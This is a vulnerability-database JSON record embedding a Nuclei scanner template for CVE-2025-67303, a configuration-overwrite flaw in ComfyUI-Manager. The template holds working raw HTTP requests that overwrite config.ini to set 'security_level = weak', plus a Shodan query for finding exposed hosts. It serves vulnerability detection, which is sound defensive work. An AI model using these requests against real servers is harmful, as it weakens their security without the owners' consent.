{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-67303/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-67303/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-67303/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-67303/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-67303/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-67303"},"sightings":{"href":"/api/v1/sightings/cve-2025-67303"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-67303.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-67303\n\ninfo:\n  name: ComfyUI-Manager < 3.38 - Configuration Overwrite\n  author: maciejklimek\n  severity: critical\n  description: |\n    ComfyUI-Manager < 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.\n  impact: |\n    Remote attackers can manipulate configuration and critical data, potentially compromising application integrity and security.\n  remediation: |\n    Update to version 3.38 or later.\n  reference:\n    - https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md\n    - https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/README.md\n    - https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-67303\n    epss-score: 0.01412\n    epss-percentile: 0.71525\n    cwe-id: CWE-420\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: comfy-org\n    product: comfyui-manager\n    shodan-query: http.title:\"ComfyUI\"\n  tags: cve,cve2025,comfyui,comfyui-manager,intrusive,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/octet-stream\n\n        [default]\n        security_level = weak\n\n      - |\n        GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_all(body_1, '[default]', 'security_level')\"\n          - \"contains(body_3, 'security_level = weak')\"\n          - \"status_code_1 == 200 && status_code_3 == 200\"\n        condition: and\n# digest: 490a00463044022036279da11b0cab5d194237f0a7a1583c6902cf526e60a0f601eb0d9f27572ca602207b9010dbab8a7c18f08bbf1bf4fca7cc752215aef7cbc910902b39394c4c7a4c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-67303"}